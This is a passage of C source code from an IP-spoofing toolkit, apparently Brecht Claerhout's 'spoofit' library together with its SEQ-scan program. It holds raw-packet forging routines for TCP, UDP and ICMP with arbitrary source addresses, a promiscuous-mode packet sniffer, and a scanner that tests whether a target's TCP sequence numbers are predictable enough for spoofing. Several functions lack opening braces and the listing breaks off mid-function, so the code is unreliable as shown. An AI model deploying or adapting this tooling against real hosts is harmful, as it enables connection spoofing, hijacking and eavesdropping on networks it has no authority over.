  1416. #ifdef DEBUG
  1417.     printf("IP header fixed...\n");
  1418. #endif
  1419. }
  1420.  
  1421. void sp_fix_TCP_packet (struct sp_data_exchange *sp)
  1422. char sp_pseudo_ip_construct[MTU];
  1423. struct TCP_header *sp_help_tcp;
  1424. struct pseudo_IP_header *sp_help_pseudo;
  1425. int i;
  1426.  
  1427. for(i=0;i<MTU;i++)
  1428.   {sp_pseudo_ip_construct[i]=0;}
  1429.  
  1430. sp_help_tcp = (struct TCP_header *) (sp->buffer+IP_HEAD_BASE+sp->IP_optlen);
  1431. sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct;
  1432.  
  1433. sp_help_tcp->offset_flag = htons( (((TCP_HEAD_BASE+sp->TCP_optlen)/4)<<12) | sp->flags); 
  1434. sp_help_tcp->seq_nr = htonl(sp->seq);
  1435. sp_help_tcp->ACK_nr = htonl(sp->ack);
  1436. sp_help_tcp->source = htons(sp->source_port);
  1437. sp_help_tcp->destination = htons(sp->dest_port);
  1438. sp_help_tcp->window = htons(0x7c00);             /* dummy for now 'wujx' */
  1439.  
  1440. sp_help_pseudo->source = sp_getaddrbyname(sp->source);
  1441. sp_help_pseudo->destination =  sp_getaddrbyname(sp->dest);
  1442. sp_help_pseudo->zero_byte = 0;
  1443. sp_help_pseudo->protocol = 6;
  1444. sp_help_pseudo->TCP_UDP_len = htons(sp->datalen+TCP_HEAD_BASE+sp->TCP_optlen);
  1445.  
  1446. memcpy(sp_pseudo_ip_construct+12, sp_help_tcp, sp->TCP_optlen+sp->datalen+TCP_HEAD_BASE);
  1447. sp_help_tcp->checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct, 
  1448.                   sp->datalen+12+TCP_HEAD_BASE+sp->TCP_optlen);
  1449. #ifdef DEBUG
  1450.     printf("TCP header fixed...\n");
  1451. #endif
  1452. }
  1453.  
  1454. void transmit_TCP (int sp_fd, char *sp_data, 
  1455.                int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen, 
  1456.                    char *sp_source, unsigned short sp_source_port,
  1457.                char *sp_dest, unsigned short sp_dest_port,
  1458.                            unsigned long sp_seq, unsigned long sp_ack, 
  1459.                            unsigned short sp_flags)
  1460. {
  1461. char sp_buffer[1500];
  1462. struct sp_data_exchange sp_struct;
  1463.  
  1464. bzero(sp_buffer,1500);
  1465. if (sp_ipoptlen!=0) 
  1466.     memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen);
  1467.  
  1468. if (sp_tcpoptlen!=0) 
  1469.     memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen,
  1470.                                 sp_data+sp_ipoptlen,sp_tcpoptlen);
  1471. if (sp_datalen!=0) 
  1472.     memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen+sp_tcpoptlen,
  1473.             sp_data+sp_ipoptlen+sp_tcpoptlen,sp_datalen);
  1474.  
  1475. sp_struct.fd          = sp_fd; 
  1476. sp_struct.data        = sp_data;
  1477. sp_struct.datalen     = sp_datalen;
  1478. sp_struct.source      = sp_source;
  1479. sp_struct.source_port = sp_source_port;
  1480. sp_struct.dest        = sp_dest;
  1481. sp_struct.dest_port   = sp_dest_port;
  1482. sp_struct.seq         = sp_seq;
  1483. sp_struct.ack         = sp_ack;
  1484. sp_struct.flags       = sp_flags;
  1485. sp_struct.buffer      = sp_buffer;
  1486. sp_struct.IP_optlen   = sp_ipoptlen;          
  1487. sp_struct.TCP_optlen  = sp_tcpoptlen;          
  1488.  
  1489. sp_fix_TCP_packet(&sp_struct);
  1490. sp_fix_IP_packet(&sp_struct, 6);
  1491. sp_send_packet(&sp_struct, 6);
  1492. }
  1493.  
  1494. void sp_fix_UDP_packet (struct sp_data_exchange *sp)
  1495. char sp_pseudo_ip_construct[MTU];
  1496. struct UDP_header *sp_help_udp;
  1497. struct pseudo_IP_header *sp_help_pseudo;
  1498. int i;
  1499.  
  1500. for(i=0;i<MTU;i++)
  1501.   {sp_pseudo_ip_construct[i]=0;}
  1502.  
  1503. sp_help_udp = (struct UDP_header *) (sp->buffer+IP_HEAD_BASE+sp->IP_optlen);
  1504. sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct;
  1505.  
  1506. sp_help_udp->source = htons(sp->source_port);
  1507. sp_help_udp->destination = htons(sp->dest_port);
  1508. sp_help_udp->length =  htons(sp->datalen+UDP_HEAD_BASE);
  1509.  
  1510. sp_help_pseudo->source = sp_getaddrbyname(sp->source);
  1511. sp_help_pseudo->destination =  sp_getaddrbyname(sp->dest);
  1512. sp_help_pseudo->zero_byte = 0;
  1513. sp_help_pseudo->protocol = 17;
  1514. sp_help_pseudo->TCP_UDP_len = htons(sp->datalen+UDP_HEAD_BASE);
  1515.  
  1516. memcpy(sp_pseudo_ip_construct+12, sp_help_udp, sp->datalen+UDP_HEAD_BASE);
  1517. sp_help_udp->checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct, 
  1518.                              sp->datalen+12+UDP_HEAD_BASE);
  1519. #ifdef DEBUG
  1520.     printf("UDP header fixed...\n");
  1521. #endif
  1522. }
  1523.  
  1524. void transmit_UDP (int sp_fd, char *sp_data, 
  1525.                int sp_ipoptlen, int sp_datalen, 
  1526.                    char *sp_source, unsigned short sp_source_port,
  1527.                char *sp_dest, unsigned short sp_dest_port)
  1528. {
  1529. char sp_buffer[1500];
  1530. struct sp_data_exchange sp_struct;
  1531.  
  1532. bzero(sp_buffer,1500);
  1533.  
  1534. if (sp_ipoptlen!=0) 
  1535.     memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen);
  1536. if (sp_data!=NULL) 
  1537.     memcpy(sp_buffer+IP_HEAD_BASE+UDP_HEAD_BASE+sp_ipoptlen,
  1538.                          sp_data+sp_ipoptlen,sp_datalen);
  1539. sp_struct.fd          = sp_fd; 
  1540. sp_struct.data        = sp_data;
  1541. sp_struct.datalen     = sp_datalen;
  1542. sp_struct.source      = sp_source;
  1543. sp_struct.source_port = sp_source_port;
  1544. sp_struct.dest        = sp_dest;
  1545. sp_struct.dest_port   = sp_dest_port;
  1546. sp_struct.buffer      = sp_buffer;
  1547. sp_struct.IP_optlen   = sp_ipoptlen;
  1548. sp_struct.TCP_optlen  = 0;
  1549.  
  1550. sp_fix_UDP_packet(&sp_struct);
  1551. sp_fix_IP_packet(&sp_struct, 17);
  1552. sp_send_packet(&sp_struct, 17);
  1553. }
  1554.  
  1555. void sp_fix_ICMP_packet (struct sp_data_exchange *sp)
  1556. struct ICMP_header *sp_help_icmp;
  1557. struct IP_header *sp_help_ip;
  1558. struct TCP_header *sp_help_tcp;
  1559. int i;
  1560.  
  1561. sp_help_icmp = (struct ICMP_header *) (sp->buffer+IP_HEAD_BASE+sp->IP_optlen);
  1562. sp_help_ip = (struct IP_header *) (sp->buffer+IP_HEAD_BASE+sp->IP_optlen+
  1563.                                 ICMP_HEAD_BASE);
  1564. sp_help_tcp = (struct TCP_header *) (sp->buffer+IP_HEAD_BASE+sp->IP_optlen+
  1565.                             ICMP_HEAD_BASE+IP_HEAD_BASE);
  1566.  
  1567. sp_help_icmp->type = sp->ICMP_type;
  1568. sp_help_icmp->code = sp->ICMP_code;
  1569. sp_help_icmp->checksum  = htons(0);
  1570. sp_help_icmp->xtra_field= htonl(0);
  1571.  
  1572. sp_help_ip->verlen = (IP_VERSION << 4) | ((IP_HEAD_BASE+sp->IP_optlen)/4);
  1573. sp_help_ip->type = 0;
  1574. sp_help_ip->length = htons(500);
  1575. sp_help_ip->ID = htons(12545);                                  /* TEST */ 
  1576. sp_help_ip->flag_offset = 0;
  1577. sp_help_ip->TTL = 69;
  1578. sp_help_ip->protocol = 6;
  1579. sp_help_ip->source = sp_getaddrbyname(sp->dest);
  1580. sp_help_ip->destination =  sp_getaddrbyname(sp->xtra);
  1581. sp_help_ip->checksum=0x340e;
  1582.  
  1583. sp_help_tcp->offset_flag = htons( ((TCP_HEAD_BASE/4)<<12) | ACK); 
  1584. sp_help_tcp->seq_nr = htonl(0x45fe5091);
  1585. sp_help_tcp->ACK_nr = htonl(0x345560ef);
  1586. sp_help_tcp->source = htons(sp->dest_port);
  1587. sp_help_tcp->destination = htons(sp->xtra_port);
  1588. sp_help_tcp->window = htons(0x7c00);             /* dummy for now 'wujx' */
  1589.  
  1590. sp_help_icmp->checksum=in_cksum((unsigned short *) sp_help_icmp, 
  1591.                   ICMP_HEAD_BASE+IP_HEAD_BASE+64);
  1592. #ifdef DEBUG
  1593.     printf("ICMP header fixed...\n");
  1594. #endif
  1595. }
  1596.  
  1597. /* in a raw, unfinished state... */
  1598. void transmit_ICMP (int sp_fd, char *sp_data, 
  1599.                int sp_ipoptlen, int sp_datalen, 
  1600.                    char *sp_source,
  1601.                char *sp_dest, unsigned short sp_dest_port,
  1602.                char *sp_unr_d, unsigned short sp_unr_d_port,
  1603.                unsigned char sp_type, unsigned char sp_code)
  1604. {
  1605. char sp_buffer[1500];
  1606. struct sp_data_exchange sp_struct;
  1607.  
  1608. bzero(sp_buffer,1500);
  1609. if (sp_ipoptlen!=0) 
  1610.     memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen);
  1611.  
  1612. if (sp_datalen!=0) 
  1613.     memcpy(sp_buffer+IP_HEAD_BASE+ICMP_HEAD_BASE+sp_ipoptlen,
  1614.             sp_data+sp_ipoptlen,sp_datalen);
  1615.  
  1616. sp_struct.fd          = sp_fd; 
  1617. sp_struct.data        = sp_data;
  1618. sp_struct.datalen     = IP_HEAD_BASE+64;          /* CHANGE LATER!!!! */ 
  1619. sp_struct.source      = sp_source;
  1620. sp_struct.xtra        = sp_unr_d;
  1621. sp_struct.xtra_port   = sp_unr_d_port;
  1622. sp_struct.dest        = sp_dest;
  1623. sp_struct.dest_port   = sp_dest_port;
  1624. sp_struct.buffer      = sp_buffer;
  1625. sp_struct.IP_optlen   = sp_ipoptlen;          
  1626. sp_struct.ICMP_type   = sp_type;          
  1627. sp_struct.ICMP_code   = sp_code;          
  1628.  
  1629. sp_fix_ICMP_packet(&sp_struct);
  1630. sp_fix_IP_packet(&sp_struct, 1);
  1631. sp_send_packet(&sp_struct, 1);
  1632. }
  1633.  
  1634. /* This routine stolen from ping.c -- HAHAHA!*/
  1635. unsigned short in_cksum(unsigned short *addr,int len)
  1636. {
  1637. register int nleft = len;
  1638. register unsigned short *w = addr;
  1639. register int sum = 0;
  1640. unsigned short answer = 0;
  1641.         
  1642. while (nleft > 1)
  1643.         { 
  1644.         sum += *w++;
  1645.         nleft -= 2;
  1646.         }
  1647. if (nleft == 1)
  1648.         {
  1649.         *(u_char *)(&answer) = *(u_char *)w ;
  1650.         sum += answer;
  1651.         }
  1652. sum = (sum >> 16) + (sum & 0xffff);
  1653. sum += (sum >> 16);
  1654. answer = ~sum;
  1655. return(answer);
  1656. }
  1657.  
  1658. /************************* Receiving department  ****************************/
  1659.  
  1660. int open_receiving (char *rc_device, char mode)
  1661. {
  1662. int or_fd;
  1663. struct sigaction rc_sa;
  1664. int fcntl_flag;
  1665. struct ifreq ifinfo;
  1666. char test;
  1667.  
  1668. /* create snoop socket and set interface promisc */
  1669. if ((or_fd = socket(AF_INET, SOCK_PACKET, htons(0x3)))==-1) 
  1670.         perror("Couldn't open Socket."), exit(1);
  1671. strcpy(ifinfo.ifr_ifrn.ifrn_name,rc_device);
  1672. if(ioctl(or_fd,SIOCGIFFLAGS,&ifinfo)<0)
  1673.     perror("Couldn't get flags."), exit(1);
  1674. ifinfo.ifr_ifru.ifru_flags |= IFF_PROMISC;
  1675. if(ioctl(or_fd,SIOCSIFFLAGS,&ifinfo)<0)
  1676.     perror("Couldn't set flags. (PROMISC)"), exit(1);
  1677.  
  1678. if(mode&IO_HANDLE)
  1679.     {        /* install handler */
  1680.     rc_sa.sa_handler=rc_sigio;        /* we don't use signal()        */
  1681.     sigemptyset(&rc_sa.sa_mask);      /* because the timing window is */
  1682.     rc_sa.sa_flags=0;                 /* too big...                   */
  1683.     sigaction(SIGIO,&rc_sa,NULL);
  1684.     }
  1685.  
  1686. if(fcntl(or_fd,F_SETOWN,getpid())<0)
  1687.     perror("Couldn't set ownership"), exit(1);
  1688.  
  1689. if(mode&IO_HANDLE)
  1690.     {
  1691.     if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0)
  1692.         perror("Couldn't get FLAGS"), exit(1);
  1693.     if(fcntl(or_fd,F_SETFL,fcntl_flag|FASYNC|FNDELAY)<0)
  1694.         perror("Couldn't set FLAGS"), exit(1);
  1695.         rc_fd_abc123=or_fd;
  1696.     }
  1697. else 
  1698.     {
  1699.     if(mode&IO_NONBLOCK)
  1700.         {
  1701.         if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0)
  1702.             perror("Couldn't get FLAGS"), exit(1);
  1703.         if(fcntl(or_fd,F_SETFL,fcntl_flag|FNDELAY)<0)
  1704.             perror("Couldn't set FLAGS"), exit(1);
  1705.         };
  1706.     };
  1707.  
  1708. #ifdef DEBUG
  1709.     printf("Reading socket ready\n");
  1710. #endif
  1711. return or_fd;
  1712. }
  1713.  
  1714. /* returns 0 when no packet read!  */
  1715. int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start,unsigned  char *proto) 
  1716. {
  1717. char help_buffer[MTU];
  1718. int pack_len;
  1719. struct IP_header *gp_IPhead;
  1720.  
  1721. pack_len = read(rc_fd,help_buffer,1500);
  1722. if(pack_len<0)
  1723.     {
  1724.     if(errno==EWOULDBLOCK) 
  1725.         {pack_len=0;}
  1726.     else
  1727.         {perror("Read error:"); exit(1);}
  1728.     };
  1729. if(pack_len>0)
  1730.     {
  1731.     pack_len -= DEV_PREFIX;
  1732.     memcpy(buffer,help_buffer+DEV_PREFIX,pack_len);
  1733.     gp_IPhead = (struct IP_header *) buffer;
  1734.     if(proto != NULL)
  1735.         *proto = gp_IPhead->protocol;
  1736.     if(TCP_UDP_start != NULL)
  1737.         *TCP_UDP_start = (gp_IPhead->verlen & 0xF) << 2;
  1738.     }
  1739. return pack_len;
  1740. }
  1741.  
  1742. void wait_packet_timeout (int sig)
  1743. {
  1744. alarm(0);
  1745. WAIT_PACKET_WAIT_TIME=1;
  1746. }
  1747.  
  1748. int wait_packet(int wp_fd,struct sp_wait_packet *ret_values,
  1749.                 char *wp_source, unsigned short wp_source_port,
  1750.                 char *wp_dest, unsigned short wp_dest_port, int wp_flags, 
  1751.         int wait_time) 
  1752. {
  1753. char wp_buffer[1500];
  1754. struct IP_header *wp_iphead;
  1755. struct TCP_header *wp_tcphead;
  1756. unsigned long wp_sourcel, wp_destl;
  1757. int wp_tcpstart;
  1758. char wp_proto;
  1759.  
  1760. wp_sourcel=sp_getaddrbyname(wp_source);
  1761. wp_destl=sp_getaddrbyname(wp_dest);
  1762.  
  1763. WAIT_PACKET_WAIT_TIME=0;
  1764. if(wait_time!=0)
  1765.     {
  1766.     signal(SIGALRM,wait_packet_timeout);
  1767.     alarm(wait_time);
  1768.     }    
  1769.  
  1770. while(1)
  1771.   {
  1772.   while(get_packet(wp_fd, wp_buffer, &wp_tcpstart, &wp_proto)<=0) 
  1773.     {
  1774.     if (WAIT_PACKET_WAIT_TIME!=0)    {alarm(0); return -1;}
  1775.     };
  1776.   if(wp_proto == 6)
  1777.     {
  1778.     wp_iphead= (struct IP_header *) wp_buffer;
  1779.     wp_tcphead= (struct TCP_header *) (wp_buffer+wp_tcpstart);
  1780.     if( (wp_sourcel==wp_iphead->source)&&(wp_destl==wp_iphead->destination) )
  1781.       {
  1782.       if( ((ntohs(wp_tcphead->source)==wp_source_port)||(wp_source_port==0)) &&
  1783.           ((ntohs(wp_tcphead->destination)==wp_dest_port)||(wp_dest_port==0)) )
  1784.         {
  1785.         if( (wp_flags==0) || (ntohs(wp_tcphead->offset_flag)&wp_flags) )
  1786.           {
  1787.           ret_values->source_p=ntohs(wp_tcphead->source);
  1788.           ret_values->dest_p=ntohs(wp_tcphead->destination);
  1789.           ret_values->seq=ntohl(wp_tcphead->seq_nr);
  1790.           ret_values->ack=ntohl(wp_tcphead->ACK_nr);
  1791.           ret_values->flags=ntohs(wp_tcphead->offset_flag)&
  1792.                         (URG|ACK|PSH|FIN|RST|SYN);
  1793.           ret_values->datalen = ntohs(wp_iphead->length) -            
  1794.                            ((wp_iphead->verlen & 0xF) << 2) -
  1795.                             ((ntohs(wp_tcphead->offset_flag) & 0xF000) >> 10);
  1796.           alarm(0);
  1797.           return 0;
  1798.           }
  1799.         }
  1800.       }
  1801.     }
  1802.   }
  1803. /*impossible to get here.. but anyways*/
  1804. alarm(0); return -1;
  1805. }
  1806.  
  1807.  
  1808. void close_receiving (void)
  1809. {
  1810. close(rc_fd_abc123);
  1811. }
  1812.  
  1813. void rc_sigio (int sig)                     /* Packet handling routine */
  1814. {
  1815. char rc_buffer[1500];
  1816. char packet_id [50];
  1817. unsigned char *rc_so, *rc_dest;
  1818. struct IP_header *rc_IPhead;
  1819. struct TCP_header *rc_TCPhead;
  1820. int pack_len;
  1821.  
  1822. if(RC_FILTSET==0) return;
  1823.  
  1824. if(SP_DATA_BUSY!=0)              /* skip this packet */
  1825.     return;     
  1826.  
  1827. pack_len = read(rc_fd_abc123,rc_buffer,1500);
  1828. rc_IPhead = (struct IP_header *) (rc_buffer + DEV_PREFIX);
  1829. if(rc_IPhead->protocol!=6) return;                          /* if not TCP */
  1830. rc_TCPhead = (struct TCP_header *) (rc_buffer + DEV_PREFIX + ((rc_IPhead->verlen & 0xF) << 2));
  1831.    
  1832. rc_so   = (unsigned char *) &(rc_IPhead->source);
  1833. rc_dest = (unsigned char *) &(rc_IPhead->destination);   
  1834. sprintf(packet_id,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u",
  1835.           rc_so[0],rc_so[1],rc_so[2],rc_so[3],ntohs(rc_TCPhead->source),
  1836.           rc_dest[0],rc_dest[1],rc_dest[2],rc_dest[3],ntohs(rc_TCPhead->destination)); 
  1837.     
  1838. if(strcmp(packet_id,rc_filter_string)==0)
  1839.     { 
  1840.     SP_DATA_BUSY=1;
  1841.     CUR_SEQ = ntohl(rc_TCPhead->seq_nr);
  1842.     CUR_ACK = ntohl(rc_TCPhead->ACK_nr);
  1843.         CUR_FLAGS = ntohs(rc_TCPhead->offset_flag);
  1844.     CUR_DATALEN = ntohs(rc_IPhead->length) - 
  1845.               ((rc_IPhead->verlen & 0xF) << 2) -
  1846.                       ((ntohs(rc_TCPhead->offset_flag) & 0xF000) >> 10);
  1847.     CUR_COUNT++;
  1848.     SP_DATA_BUSY=0;
  1849.     }
  1850. }
  1851.  
  1852. void set_filter (char *f_source, unsigned short f_source_port,
  1853.                  char *f_dest, unsigned short f_dest_port)
  1854. {
  1855. unsigned char *f_so, *f_des;
  1856. unsigned long f_sol, f_destl;
  1857.  
  1858. RC_FILTSET=0;
  1859. if(DEV_PREFIX==9999)
  1860.     fprintf(stderr,"DEV_PREFIX not set!\n"), exit(1);
  1861. f_sol   = sp_getaddrbyname(f_source);
  1862. f_destl = sp_getaddrbyname(f_dest);
  1863. f_so    = (unsigned char *) &f_sol;
  1864. f_des   = (unsigned char *) &f_destl;   
  1865. sprintf(rc_filter_string,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u",
  1866.                       f_so[0],f_so[1],f_so[2],f_so[3],f_source_port,    
  1867.                   f_des[0],f_des[1],f_des[2],f_des[3],f_dest_port); 
  1868. RC_FILTSET=1;
  1869. }
  1870.  
  1871. ----------------------------------------------------------------------------
  1872.  
  1873. --[SEQ-scan.c]--------------------------------------------------------------
  1874. /**************************************************************************/
  1875. /*  SEQ-scan - Example program for scanning SEQ-nr generators             */
  1876. /*             (illustration for 'A short overview of IP spoofing')       */
  1877. /*                                                                        */
  1878. /*  Purpose - Gaining information about the targets SEQ-nr generator      */
  1879. /*                                                                        */
  1880. /*  Author - Brecht Claerhout <Coder@reptile.rug.ac.be>                   */
  1881. /*           Serious advice, comments, statements, greets, always welcome */
  1882. /*           flames, moronic 3l33t >/dev/null                             */
  1883. /*                                                                        */
  1884. /*  Disclaimer - This program is for educational purposes only. I am in   */
  1885. /*               NO way responsible for what you do with this program,    */
  1886. /*               or any damage you or this program causes.                */
  1887. /*                                                                        */
  1888. /*  For whom - People with a little knowledge of TCP/IP, C source code    */
  1889. /*             and general UNIX. Otherwise, please keep your hands of,    */
  1890. /*             and catch up on those things first.                        */
  1891. /*                                                                        */
  1892. /*  Limited to - Linux 1.3.X or higher.                                   */
  1893. /*               Watch the devices! default is 'eth0' you might have to   */
  1894. /*               change that. Read the code...                            */
  1895. /*                                                                        */
  1896. /*  Compiling - gcc -o SEQ-scan SEQ-scan.c -lm                            */
  1897. /*                                                                        */
  1898. /*  Usage - Usage described in the spoofing article that came with this.  */
  1899. /*          If you didn't get this, try to get the full release...        */
  1900. /*                                                                        */
  1901. /*  See also - Sniffit (for getting the necessairy data on a connection)  */
  1902. /**************************************************************************/
  1903.  
  1904. #include "spoofit_v3.h"               
  1905. #include <math.h>
  1906. #include <sys/time.h>
  1907.  
  1908. /*** Network device info, you could have to change this ***/
  1909. #define INTERFACE    "eth0"                    
  1910. #define INTERFACE_PREFIX 14                           
  1911. /* 
  1912. #define INTERFACE    "ppp0" 
  1913. #define INTERFACE_PREFIX 0     
  1914. */
  1915.  
  1916. #define MAXSEQ        10                                 /* array length*/
  1917. #define STARTSEQ    0x9E2CF343     /* You might want a personal touch */
  1918. #define STARTPORT       10666           /* You might want a personal touch */
  1919.                
  1920. char SOURCE[200];                              /* required hostinformation */ 
  1921. char TARGET[200];
  1922. int TARGET_P;
  1923.  
  1924. int fd_receive, fd_send;                                /* Kinda selfexpl. */
  1925. unsigned long SEQ_list[MAXSEQ];
  1926. unsigned long diff_seq[MAXSEQ];
  1927. struct timeval time_list[MAXSEQ];
  1928. struct timeval time_diff[MAXSEQ];
  1929. double time_diff_usec[MAXSEQ];
  1930. double incr_per_usec[MAXSEQ];
  1931. double incr_per_usec2[MAXSEQ];
  1932.  
  1933. char VERBOSE=0, DO_ALL=0;                                       /* Options */
  1934. int COUNT=MAXSEQ;                  /* I leave you all freedom for adjusting*/
  1935.  
  1936. int get_seq_nrs(unsigned long *, int, int );
  1937. void get_numbers(void);
  1938. int easy_64k_rule(void);
  1939. void simple_time_relation (void);
  1940. void rm_minmax(double *, double *, int);
  1941. void timeval_substract (struct timeval *,struct timeval *,struct timeval *);
  1942.  
  1943. void quit(char *progname)
  1944. {
  1945. printf("usage: %s <args> [options]\n", progname);
  1946. printf("required <args> are:\n");
  1947. printf("  -t <target>  host you want to scan\n");
  1948. printf("  -p <port>    port you want to use for scanning\n");
  1949. printf("[options] are:\n");
  1950. printf("  -v           verbose\n");
  1951. printf("  -a           do all tests\n");
  1952. exit(1);
  1953. }
  1954.   
  1955. int main(int argc, char *argv[]) 
  1956. int i,c;
  1957. char required=0;
  1958. extern char *optarg;
  1959.  
  1960. while((c=getopt(argc, argv,"s:t:p:va"))!=-1)
  1961.   { 
  1962.   switch(c)
  1963.     {
  1964.         case 'v': printf("Verbose mode on...\n"); VERBOSE=1;    /* VERBOSE */
  1965.                   break;
  1966.     case 'p': TARGET_P=atoi(optarg); required |=2; break;
  1967.         case 't': strcpy(TARGET,optarg); required |=1; break;
  1968.     case 'a': DO_ALL=1; break;
  1969.     default : quit(argv[0]); break;
  1970.     };
  1971.   }
  1972. SOURCE[199]=0;
  1973. if(gethostname(SOURCE,199)<0)
  1974.   {fprintf(stderr,
  1975.                "Error: Couldn't determine host name... what's happening??");}
  1976. if(required != 3)
  1977.         {quit(argv[0]);}
  1978.  
  1979. DEV_PREFIX = INTERFACE_PREFIX;
  1980.  
  1981. get_numbers();                                           /* get some data  */
  1982. if((easy_64k_rule()==1)&&(!DO_ALL))                   /* 64K rule checking */
  1983.   exit(0);
  1984. simple_time_relation();                                 /* Simple relation */ 
  1985. }
  1986.  
  1987. /*** NUMBER CRUNCHING ;) ***************************************************/
  1988.  
  1989. int easy_64k_rule(void)
  1990. {
  1991. int i, seq_vuln=0;
  1992.  
  1993. if(VERBOSE)
  1994.     {printf("*** 64K rule checking\n");}
  1995. for(i=1;i<COUNT;i++)
  1996.   {
  1997.   diff_seq[0]=SEQ_list[i]-SEQ_list[i-1];
  1998.   if(VERBOSE)
  1999.     {printf("SEQ. difference: %lu\n",diff_seq[0]);}
  2000.   if(diff_seq[0]%64000 == 0)
  2001.     seq_vuln++;
  2002.   }
  2003. if(seq_vuln>2)                                 /* allow some errors */
  2004.   {printf("%s vulnerable! (64K rule)\n",TARGET); return 1;}
  2005. else
  2006.   {printf("%s checked. (64K rule)\n",TARGET); return 0;}
  2007. diff_seq[0]=0;
  2008. }
  2009.  
  2010. void simple_time_relation (void)
  2011. {
  2012. int i;
  2013. unsigned long diff_average[2];
  2014. double incr_err, incr_err2;
  2015. double incr_avr, incr_avr2;
  2016. double time_avr;
  2017.  
  2018. if(VERBOSE)
  2019.     {printf("*** Simple relation checking\n");}
  2020.  
  2021. time_avr=incr_avr=0;
  2022. for(i=1;i<COUNT;i++)                                  /* time calculations */
  2023.   {
  2024.   timeval_substract (&(time_diff[i-1]), &(time_list[i]),&(time_list[i-1]));
  2025.   diff_seq[i-1]=SEQ_list[i]-SEQ_list[i-1];
  2026.   time_diff_usec[i-1] = 1000000*((double)(time_diff[i-1].tv_sec)) + 
  2027.                         (double)(time_diff[i-1].tv_usec) ;
  2028.   incr_per_usec[i-1]=(double)(diff_seq[i-1])/time_diff_usec[i-1];
  2029.   if(VERBOSE)
  2030.      {printf("TIME diff: %f(us)   SEQ diff: %lu    incr: %f (1/us)\n",
  2031.               time_diff_usec[i-1],diff_seq[i-1], incr_per_usec[i-1]);}
  2032.   time_avr += time_diff_usec[i-1];
  2033.   incr_avr += incr_per_usec[i-1];
  2034.   }
  2035. time_avr /= (COUNT-1);
  2036. incr_avr /= (COUNT-1);
  2037. if(VERBOSE)
  2038.   {printf("TIME avr: %f(us)   incr avr: %f (1/us)\n",time_avr, incr_avr);}
  2039.  
  2040. incr_err=0;
  2041. for(i=1;i<COUNT;i++)
  2042.   {incr_err+=(incr_avr - incr_per_usec[i-1])*(incr_avr - incr_per_usec[i-1]);}
  2043. incr_err = sqrt(incr_err);
  2044. if(VERBOSE)
  2045.   {printf("QUAD ERR: %f\n",incr_err);}
  2046.  
  2047. if(VERBOSE)
  2048.   {printf("Removing 2 extreme values...\n");}
  2049. rm_minmax(incr_per_usec2, incr_per_usec, COUNT-1); 
  2050. incr_err2=incr_avr2=0; 
  2051. for(i=1;i<(COUNT-2);i++)
  2052.   {incr_avr2+=incr_per_usec2[i-1];}
  2053. incr_avr2 /= (COUNT-3);
  2054.  
  2055. for(i=1;i<(COUNT-2);i++)
  2056.   {incr_err2+=(incr_avr - incr_per_usec2[i-1])*
  2057.                                             (incr_avr -incr_per_usec2[i-1]);}
  2058. incr_err2 = sqrt(incr_err2);
  2059.  
  2060. if(VERBOSE)
  2061.   {printf("QUAD ERR2: %f\n",incr_err2);}
  2062.  
  2063. /* Reporting */
  2064. if((incr_err<10)||(incr_err2<10))
  2065.   {printf("%s time relation found. (err: %f)\n",TARGET,
  2066.                 (incr_err<10) ? incr_err : incr_err2);
  2067.   return;
  2068.   };
  2069. printf("%s checked. (time rel. err: %f and %f)\n",TARGET,incr_err,incr_err2);
  2070.  
  2071. /* remove minimum and maximum from a list */
  2072. void rm_minmax(double *newlist, double *oldlist, int len) 
  2073. int i, j=0, rm_max=0, rm_min=0; 
  2074. double hlp_max, hlp_min; 
  2075.   
  2076. hlp_min=hlp_max=oldlist[0];
  2077. for(i=1;i<len;i++)
  2078.   {
  2079.   if(hlp_min>oldlist[i])
  2080.     {hlp_min=oldlist[i]; rm_min=i;}
  2081.   if(hlp_max<oldlist[i])
  2082.     {hlp_max=oldlist[i]; rm_max=i;}
  2083.   }
  2084.  
  2085. for(i=0;i<len;i++)
  2086.   {
  2087.   if((i!=rm_min)&&(i!=rm_max))
  2088.     {newlist[j]=oldlist[i]; j++;}
  2089.   }
  2090. }
  2091.  
  2092. /* time substraction, time x - time y */
  2093. void timeval_substract (result,x,y)
  2094.         struct timeval *result, *x, *y;
  2095. {
  2096. long hlp_usec;
  2097.  
  2098. result->tv_sec = x->tv_sec - y->tv_sec;
  2099. if(y->tv_usec > x->tv_usec)   
  2100.   {
  2101.   (result->tv_sec)--;
  2102.   hlp_usec = 1000000 - y->tv_usec;
  2103.   result->tv_usec = x->tv_usec + hlp_usec; 
  2104.   }
  2105. else
  2106.   {
  2107.   result->tv_usec = x->tv_usec -  y->tv_usec;
  2108.   };
  2109. }
  2110.  
  2111. /*** NETWORKING PART *******************************************************/
  2112. void get_numbers(void)                                 /* get some SEQ-nrs */
  2113. {
  2114. fd_send = open_sending();
  2115. fd_receive = open_receiving(INTERFACE, IO_NONBLOCK); 
  2116.  
  2117. if(get_seq_nrs(SEQ_list, COUNT, 0)<0)
  2118.   {printf("%s time out. (SEQ scanning)\n",TARGET); exit(1);};
  2119. }
  2120.  
  2121. int get_seq_nrs(unsigned long *list_seq, int packs, int sec_delay) 
  2122. int i, stat;
  2123. int tcpstart; 
  2124. char proto; 
  2125. short port;
  2126. char buffer[1500]; 
  2127. struct IP_header *iphead; 
  2128. struct TCP_header *tcphead; 
  2129. struct sp_wait_packet pinfo;
  2130.  
  2131. port=STARTPORT; 
  2132. for(i=0;i<packs;i++)
  2133.   {
  2134.   sleep(sec_delay);
  2135.   port++;
  2136.   transmit_TCP(fd_send, NULL, 0,0,0, SOURCE, port, TARGET, TARGET_P, 
  2137.                                             STARTSEQ+i,0, SYN);
